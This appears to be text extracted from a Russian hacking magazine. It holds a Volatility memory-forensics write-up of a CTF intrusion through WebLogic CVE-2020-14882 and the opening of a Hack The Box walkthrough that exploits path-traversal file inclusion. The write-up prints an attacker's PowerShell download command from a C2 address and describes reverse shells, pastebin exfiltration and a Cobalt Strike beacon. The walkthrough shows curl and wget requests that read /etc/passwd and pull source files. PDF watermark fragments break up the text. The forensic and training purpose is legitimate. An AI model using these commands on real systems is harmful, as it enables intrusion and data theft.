python3 vol.py -f c63-bsidesjeddah-mem/memory.mem windows.info

Системное­ время­ — 2021-08-06 16:13:23.

Далее­ попытаемся­ восста­ ­новить действия­ пользовате­ ­ля в системе­ . Про ­ анализи­ ­руем истори­ ю браузе­ ­ра, в данном­ случае­ Internet Explorer. Для этого­ восполь­ ­зуем­ся плагином­ iehistory.

python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=

Win2016x64_14393 iehistory > c63-bsidesjeddah-mem/iehistory.txt

История­ iehistory

Нам удалось­ выяснить­ , что 6 августа 2021 года пользователь­ Administrator посетил страницу­ news.google.com.

Теперь­ приступим­ к поиску­ вредонос­ ной­ активности­ . Для этого­ нам необ ­ ходимо проана­ лизи­ ровать­ процес­ сы­ , сетевой трафик­ , команды­ запуска­ исполняемых­ файлов­ , а также­ исследовать­ строки­ процес­ сов­ .

Для начала получим список­ запущенных­ в системе­ процес­ ­сов, а также­ сетевую активность и сохраним­ результа­ т работы плагинов­ в файлы­ pstree. txt и netscan.txt соответс­ ­твен­но.

python2.7

vol.py

-f

c63-bsidesjeddah-mem/memory.mem

--profile=

Win2016x64_14393

pstree > c63-bsidesjeddah-mem/pstree.txt

python2.7

vol.py

-f

c63-bsidesjeddah-mem/memory.mem

--profile=

 

 

Win2016x64_14393

netscan > c63-bsidesjeddah-mem/netscan.txt

В списке­ процес­ ­сов можно­ заметить программу­ RamCapture.exe компании­

Belkasoft.

В файле­ netscan.txt отмечен­ о двенад­ цать­ стабиль­ ных­ сетевых соеди ­ нений, об этом нам говорит колонка­ State, демонстри­ ­рующая работу пла ­

гина netscan с установ­ ­ленным значени­

­ем ESTABLISHED.

 

Проана­ ­лизи­руем дерево процес­ ­сов и найдем­

среди­ них аномаль­

­ные.

Необходим­

о обращать­

внимание­

на процес­ ­сы, которые запускаю­ т дочерний­

процесс­

с

именами­

cmd.exe,

powershell.exe,

conhost.exe, а также­

на исполняемые­

файлы­ с нестандар­

­тным расположе­

­нием.

 

Процес­ сы­ , запущенные­ от java.exe

Процес­ сом­ java.exe (идентифика­ ­тор 4752) запущено­ множес­ ­тво дочерних­ powershell.exe, что может свидетель­ ­ство­вать о подозритель­ ­ной активнос ­ ти. Также­ у процес­ ­са powershell.exe (идентифика­ ­тор 4344) запущены­ дочерние­ процес­ ­сы conhost.exe (идентифика­ ­тор 4636) и svchost.exe (идентифика­ ­тор 1488).

Получим­ дамп данных­ процес­ ­сов и проана­ ­лизи­руем их строки­ .

python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=

Win2016x64_14393 memdump -p 4752 -D c63-bsidesjeddah-mem/

Мы сохранили­ дамп в файл 4752.dmp.

python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=

Win2016x64_14393 memdump -p 4344 -D c63-bsidesjeddah-mem/

Резуль­ ­тат работы сохранен­ в файле­ 4344.dmp.

Теперь­ с помощью утилиты­ strings вытащим все строки­ и сохраним­ их в файл.

strings 4752.dmp > str_4752.txt

strings 4344.dmp > str_4344.txt

Прежде­ чем анализи­ ровать­ строки­ , получим аргумен­ ты­ командной­ строки­ для запуска­ процес­ сов­ . Для этого­ восполь­ зуем­ ся­ плагином­ cmdline и найдем­ в нем процесс­ java.exe (идентифика­ тор­ 4752).

python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=

Win2016x64_14393 cmdline > c63-bsidesjeddah-mem/cmdline.txt

Запуск­ вер сервера­

Процесс­ cmd.exe (идентифика­ тор­ 4556), который является­ родителем­ про ­ цесса­ java.exe (4752), запускае­ т сервер­ WebLogic. Значит­ , процесс­ java. exe — результа­ т работы веб сервера­ .

Выясним­ верси­ ю WebLogic, для этого­ получим список­ файлов­ в системе­ .

python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=

Win2016x64_14393 filescan > c63-bsidesjeddah-mem/filescan.txt

Анализи­ ­руя список­ файлов­ , мы обнаружи­ ­ваем файл лога веб сервера­

WebLogic — AdminServer.log.

Виртуаль­ ный­ адрес файла­

Восста­ новим­ его и проана­ лизи­ руем­ : виртуаль­ ный­ адрес файла­ в образе­ памяти — 0xb68cb2c205c0. Восста­ новить­ этот файл с использовани­ ем­ ути ­ литы Volatility 2 мне не удалось­ , попробу­ ем­ это сделать­ с помощью Volatility 3.

python3 vol.py -f c63-bsidesjeddah-mem/memory.mem windows.dumpfiles

--virtaddr 0xb68cb2c205c0

В восста­ нов­ ленном­ файле­ указана­ версия­ WebLogic Server — 14.1.1.0.0.

Версия­ WebLogic-сервера­

Слушатель­ WebLogic Server работае­ т на порте­ 7001, но запросы­ к веб сер ­ веру идут на 80-й порт.

Найдем­ перенаправле­ ние­ порта­ в ключе­ реестра­ PortProxy, для этого­ восполь­ зуем­ ся­ плагином­ printkey.

python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=

Win2016x64_14393 printkey -K "ControlSet001\Services\PortProxy\v

4tov4\tcp"

 

 

 

 

 

 

Значение­

ключа­ PortProxy

 

 

 

 

 

 

 

 

 

В системе­

установ­ лено­

перенаправле­

ние­

порта­ 80:7001.

 

Мы выяснили­

верси­ ю веб сервера­

: она уязвима­

и позволя­

е­ т выполнять­

удален­

ный­

код в системе­

. В файле­ лога AdminServer.log видны­ результаты­

выполнения­

функции­

com.tangosol.coherence.mvel2.sh.ShellSession,

а

также­

 

запрос­

к

 

/console/%2E%2E%2Fconsole.portal?

_nfpb=true&_pageLabel=UnexpectedExceptionPage.

Содер­ жимое­ файла­ лога

Теперь­ найдем­ процесс­ , через который злоумыш­ ленник­ получил пер ­ воначальный­ доступ­ . У нас есть дамп процес­ са­ 4752, мы нашли­ его строки­ , теперь отыщем­ в нем GET-запрос­ с параметром­ handle=com.tangosol.

coherence.mvel2.sh.ShellSession.

 

 

 

 

 

 

Содер­ жимое­

параметра­ handle

 

 

 

 

 

 

 

 

 

 

 

 

 

Итак, искомый­

процесс­

— это java.exe, идентифика­

тор­ 4752. Именн­ о он был

ответстве­ нен­

за первоначаль­

ный­

доступ­ к системе­

. Злоумыш­

ленник­

проэкс­ ­

плуати­ рова­

л

 

уязвимость­

CVE-2020-14882 в

сервере­

WebLogic вер ­

 

 

 

 

 

 

 

сии 14.1.1.0.0, позволя­

ющу­ ю выполнять­

удален­ ный­

код в системе­

. Как видно­

из иллюстра­ ции­

выше, хакер запусти­ л обратную оболоч­ ку­ с управляющим­

сервером­

192.168.144.129:1339.

 

 

 

 

 

 

 

 

 

 

 

 

Анализи­

руя­ работу плагина­

netscan, можно­ увидеть­

запущенный­

процесс­

powershell.exe

(идентифика­

тор­

4344),

который

взаимо­ дей­ ству­ ет­

с 192.168.144.129:1339.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Резуль­ та­ т работы плагина­ netscan

Восполь­ ­зуем­ся плагином­ pslist и найдем­ следующий­ процесс­ в списке­

ActiveProcessLinks, его идентифика­ ­тор 4772.

Список­ процес­ сов­ ActiveProcessLinks

Как видн­ о из иллюстра­ ­ции, процесс­ java.exe имеет­ 44 потока. Продол­ ­жим анализи­ ­ровать строки­ процес­ ­са java.exe.

Врезультате­ анализа­ строк можно­ увидеть­ загрузку­ файлов­ presist.ps1

иpastebin.ps1.

Загрузка­ PowerShell-сценари­ ев­

Попробу­ ем­ восста­ новить­ команды­ для загрузки­ этих файлов­ . Так как команды­ выполняют­ ся­ с использовани­ ем­ PowerShell, получим дамп всех процес­ сов­ powershell.exe, запущенных­ от имени­ java.exe (идентифика­ тор­ 4752). Для этог­ о восполь­ зуем­ ся­ плагином­ memdump. Восста­ новим­ команду­ для заг ­ рузки сценари­ ев­ PowerShell.

strings -e l ./out_powershell/* | grep -i 'presist.ps1' | sort -u

Коман­ да­ Invoke-WebRequest

Коман­ да­ для загрузки­ сценария­ presist.ps1 выгляди­ т следующим­ образом­ :

Invoke-WebRequest -Uri "http://192.168.144.129:1338/presist.ps1"

-OutFile "./presist.ps1"

Загрузка­ файла­ pastebin.ps1 выполнялась­ при помощи следующей­ коман ­ ды:

strings -e l ./out_powershell/* | grep -i 'presist.ps1' | sort -u

Загрузка­ pastebin.ps1

Найдем­ код pastebin.ps1 и проана­ ­лизи­руем его. Для этого­ будем искать этот код в строках­ дампа­ наших процес­ ­сов. При исследова­ ­нии результатов­ вывода плагина­ cmdline мы заметили­ , что процесс­ notepad.exe (идентифика­ ­

тор 4596) открыл файл exfiltrator.txt.

Аргумен­ ты­ запуска­ процес­ са­ notepad.exe

Получим­ дамп процес­ са­ 4596 и проана­ лизи­ руем­ строки­ .

python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=

Win2016x64_14393 memdump -p 4596 -D c63-bsidesjeddah-mem/

Содер­ жимое­ скрипта­

Этот скрипт предназна­ ­чен для выгрузки­ тексто­ ­вых файлов­ на ресурс pastebin.com, но ему в качестве­ параметра­ необходимо­ указать­ ссылку­ . Поиск ссылки­ на выгрузку­ файлов­ в строках­ дампа­ процес­ ­са notepad.exe не дал результатов­ .

В строках­ вредонос­ ­ного процес­ ­са 4344 удалось­ обнаружить­ ссылку­ https://pastebin.com/A0Ljk8tu для выгрузки­ файлов­ . Значит­ , скрипт pastebin.ps1 запускался­ от имени­ данного­ процес­ ­са.

Найдем­ методы закрепле­ ния­ злоумыш­ ленни­ ка­ в системе­ . Для этого­ вос ­ пользуем­ ся­ плагином­ autoruns или проана­ лизи­ руем­ строки­ процес­ са­ 4344.

Закрепле­ ние­ в системе­

Злоумыш­ ­ленник создал­ службу­ ServiceUpdate, которая запускае­ т обратную оболоч­ ­ку с управляющим­ сервером­ 192.168.144.129, порт 1339. Согласно­ матрице­ MITRE ATT&CK, идентифика­ ­тор этой техники­ — T1053.005.

Продол­ ­жаем анализи­ ­ровать вредонос­ ­ные процес­ ­сы. Получим дамп про ­ цесса­ svchost.exe (идентифика­ ­тор 1488), найдем­ виртуаль­ ­ный адрес рас ­ положения­ этог­ о файла­ в системе­ и с помощью плагина­ windows.dumpfles утилиты­ Volatility 3 выгрузим­ файл.

Расположе­ ние­ файла­ svchost.exe

Виртуаль­ ный­ адрес файла­ в образе­ памяти — 0xb68cb2b8a080. Восста­ новим­ его.

python3 vol.py -f c63-bsidesjeddah-mem/memory.mem windows.dumpfiles

--virtaddr 0xb68cb2b8a080

После­ восста­ нов­ ления­ получим MD5-сумму­ файла­

2c5ae1d11a02d19ab65f5fc06a33d603 и проверим­ ее на VirusTotal. Согласно­

отчету­ антивирус­ ­ных компаний­ , перед нами полезная­ нагрузка­ фреймвор­ ­ка Cobalt Strike. Получим дамп процес­ ­са и попробу­ ­ем вытащить конфигура­ ­цию

C2.

python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=

Win2016x64_14393 memdump -p 1488 -D c63-bsidesjeddah-mem/

Загрузим­ утилиту­ CobaltStrikeParser и найдем­ в памяти процес­ ­са конфигура­ ­ цию маяка.

python3 parse_beacon_config.py ../pid.1488.dmp --version 4

Мы узнали­ тип маяка (HTTP), адрес управляюще­ го­ сервера­ (192.168.144. 129), порт (1339), а также­ публичный­ ключ. Получим MD5-сумму­ ключа­ .

echo MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCknNpTPXGlTqpVXN9GP8xG/

Otf4yDG2QQCJFReupN16br/aMd+0RTSqOmKCjMHdR6fm133/

abvH1KVRge7oNowjO0RvdKVZTnNZqPnOkruOd7pDvjcJ13huwnsGA6rqW3jwNNb1hDix6

K4H+DGYx/

RQTxDc/nhj59Ae/5Tz9iC/QIDAQAB" | base64 -d | md5sum

MD5-сумма­ публично­ го­ ключа­ — fc627cf00878e4d4f7997cb26a80e6fc.

ВЫВОДЫ

Мы провели­ рассле­ дова­ ние­ инциден­ та­ и восста­ нови­ ли­ картину­ взлома­ ресурса­ : 6 августа 2021 года злоумыш­ ленник­ проэкс­ плу­ ати­ ровал­ уязвимость­

CVE-2020-14882 в Oracle WebLogic Server, которая позволя­ е­ т не прошед­ шим­ авториза­ ци­ ю пользовате­ лям­ выполнять­ удален­ ный­ код в системе­ .

Таким­ образом­ атакующий­ загрузи­ л обратную оболоч­ ­ку с управляющим­ сервером­ 192.168.144.129, порт 1339. Далее он закрепил­ ­ся в системе­ , соз ­ дав службу­ ServiceUpdate. Для этог­ о злоумыш­ ­ленник загрузи­ л PowerShellсценарий­ presist.ps1. Данный­ сценарий­ создае­ т службу­ ServiceUpdate, которая запускае­ т обратную оболоч­ ­ку.

Для эксфильтра­ ции­ данных­ злоумыш­ ленник­ загрузил­ сценарий­ pastebin. ps1, который отправляе­ т собранные­ файлы­ на удален­ ный­ сервер­ . Затем ата ­ кующий загрузи­ л маяк Cobalt Strike для постэкс­ плу­ ата­ ции­ в системе­ .

В ходе нашего рассле­ ­дова­ния мы научились­ извлекать­ конфигура­ ­цию маяка из памяти, а также­ искать важные­ артефак­ ­ты в памяти процес­ ­сов.

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

 

c

 

n

e

 

 

 

 

-x

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

c

n

e

 

 

 

 

 

-x ha

 

 

 

 

ЗАХВАТЫВАЕМ СЕРВЕР ЧЕРЕЗ ДЕСЕРИАЛИЗАЦИЮ JSON

В .NET

В этом райтапе­ я покажу, как реверсить­ библиоте­ ­ку .NET DLL, чтобы­ найти­ уяз ­ вимость в ней. По пути проэкс­ ­плу­ати­руем уязвимость­ LFI в веб сайте­ , а при повыше ­ нии привиле­ ­гий задейству­ ­ем технику­ GTFOBins для приложе­ ­ния .NET, запущен ­

ного в Linux.

RalfHacker hackerralf8@gmail.com

Подклю­ чать­ ся­ к машинам с HTB рекомендует­ ся­ только­ через VPN. Не делай этого­ с компьюте­ ров­ , где есть важные­ для тебя данные­ , так как ты ока ­ жешься­ в общей сети с другими­ участни­ ками­ .

РАЗВЕДКА Сканирование портов

Добав­ ­ляем IP-адрес машины в /etc/hosts:

10.10.11.201 bagel.htb

И запускаем­ сканиро­ вание­ портов­ .

Сканиро­ ­вание портов­ — стандар­ ­тный первый­ шаг при любой атаке­ . Он поз ­ воляе­ т атакующе­ ­му узнать, какие службы­ на хосте­ принима­ ­ют соединение­ . На основе­ этой информации­ выбирается­ следующий­ шаг к получению­ точки­ входа­ .

Наибо­ ­лее известный­ инстру­ ­мент для сканиро­ ­вания — это Nmap. Улучшить­ результаты­ его работы ты можешь при помощи следующе­ ­го скрипта­ :

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |

tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он действу­ е­ т в два этапа­ . На первом­ произво­ дит­ ся­ обычное­ быстрое­ ска ­ нирование­ , на втором­ — более тщатель­ ное­ сканиро­ вание­ , с использовани­ ем­ имеющих­ ся­ скриптов­ (опция -A).

Резуль­ та­ т работы скрипта­

Нашли­ три открытых­ порта­ :

22 — служба­ OpenSSH 8.8;

5000 и 8000 — веб сервер­ Python 3.10.9.

На SSH делать нечего, поэтому­ сразу­ переходим­ к изучению­ веб сервера­ . Как показал отчет, на порте­ 8000 мы угадали­ имя домена — bagel.htb.

Главная­ страница­ http://bagel.htb:8000

Продолжение статьи

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

 

p

df

 

 

 

 

e

 

 

-x

 

 

g

 

 

 

 

 

 

n

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

← НАЧАЛО СТАТЬИw Click

 

BUY

 

m

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

 

.c

 

 

 

p

df

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

ЗАХВАТЫВАЕМ СЕРВЕР ЧЕРЕЗ ДЕСЕРИАЛИЗАЦИЮ JSON В .NET

ТОЧКА ВХОДА

Видим­ , что целевая страница­ передается­ в параметре­ page. В таком случае­ первым­ делом нужн­ о проверить­ возможность­ включения­ произволь­ ного­ фай ­ ла путем обхода­ каталогов­ . Для теста­ пробуем­ прочитать­ файлы­ /etc/passwd

или /etc/hosts.

curl 'http://bagel.htb:8000/?page=../../../../etc/passwd'

Содер­ жимое­ файла­ /etc/passwd

Сразу­ же удалось­ прочитать­ файл!

Теперь­ возьмем­ на GitHub список­ важных­ и интерес­ ­ных файлов­ в Linux и переберем­ их с помощью Burp Intruder.

Burp Intruder — вкладка­ Positions

Burp Intruder — результа­ т перебора­

Очень интерес­ ­ный файл — /proc/self/cmdline, который содержи­ т полную­ команду­ командной­ строки­ текущего­ процес­ ­са. Этот файл раскры­ ­вает нам путь к файлу­ с кодом скрипта­ . С помощью LFI скачива­ ­ем исходник, открываем­

в любой среде­ разработ­ ­ки (я использу­ ю VSCode) и переходим­ к анализу­ .

wget 'http://bagel.htb:8000/?page=../../../../../../../home/

developer/app/app.py' -O app.py

 

 

 

Содер­ жимое­

файла­ app.py

 

 

 

 

 

 

 

 

 

 

Из кода выясняем­

, что мы можем

 

подклю­ чить­ ся­ к веб сокету на пор ­

те 5000 и передать данные­

в формате­

JSON, которые потом будут обработа­

­

ны методом json.loads. Из коммента­

рия­ узнаем­ о подклю­ чен­ ной­ DLL.

 

 

LFI

 

 

 

 

 

 

 

 

 

 

 

Попробу­

ем­ перебрать­

командные­

строки­ для всех процес­ сов­

в системе­

,

для чего с помощью Burp Intruder будем менять PID процес­ ­са.

Burp Intruder — вкладка­ Positions

Burp Intruder — вкладка­ Payloads

Чтобы­ получить командные­ строки­ в удобном­ виде для всех запросов­ , зададим параметр Grep — Extract. Тогда­ Burp будет извлекать­ командную­ строку­ из ответа­ сервера­ и выводить в отдельном­ столбике­ .

Burp Intruder — настрой­ ка­ Grep — Extract

Резуль­ та­ т перебора­

В результате­ видим процесс­ dotnet, который в качестве­ параметра­ получает­ файл DLL, то есть библиоте­ ку­ , о которой мы знаем­ из коммента­ рия­ . Скачива­ ­ ем найден­ ный­ DLL для дальнейше­ го­ анализа­ .

wget 'http://bagel.htb:8000/?page=../../../../../../../opt/bagel/bin/

Debug/net6.0/bagel.dll' -O bagel.dll

Так как это файл .NET, его можно­ декомпилиро­ вать­ . Для этого­ есть отличное средств­ о dnSpy. Открываем­ его, загружа­ ем­ скачан­ ный­ DLL и первым­ делом обращаем­ внимание­ на класс DB. В исходном коде этого­ класса­ находим учетные­ данные­ для подклю­ чения­ к базе данных­ .

Исходный­ код класса­ DB

Авторизо­ вать­ ся­ на SSH с этим паролем не вышло­ , поэтому­ проводим­ осно ­ вательный­ анализ­ файла­ . Мы уже знаем­ , что программа­ работае­ т на пор ­ те 5000 и принима­ е­ т данные­ в формате­ JSON, после­ чего выполняе­ т десери ­ ализаци­ ю объекта­ и сериали­ заци­ ю (функция­ MessageReceived).

Исходный­ код класса­ Bagel

Из функции­ DeserializeObject узнаем­ , что в параметре­ принима­ ­емо­го JSON существу­ е­ т ключ Message.

Исходный­ код класса­ Handler

А из класса­ Orders узнаем­ о возможнос­ ти­ удаления­ , записи и чтения­ заявок.

Исходный­ код класса­ Orders

В классе­ Orders обратим­ внимание­ вот на эту функцию­ :

RemoveOrder {get; set;}

Продолжение статьи

Соседние файлы в папке журнал хакер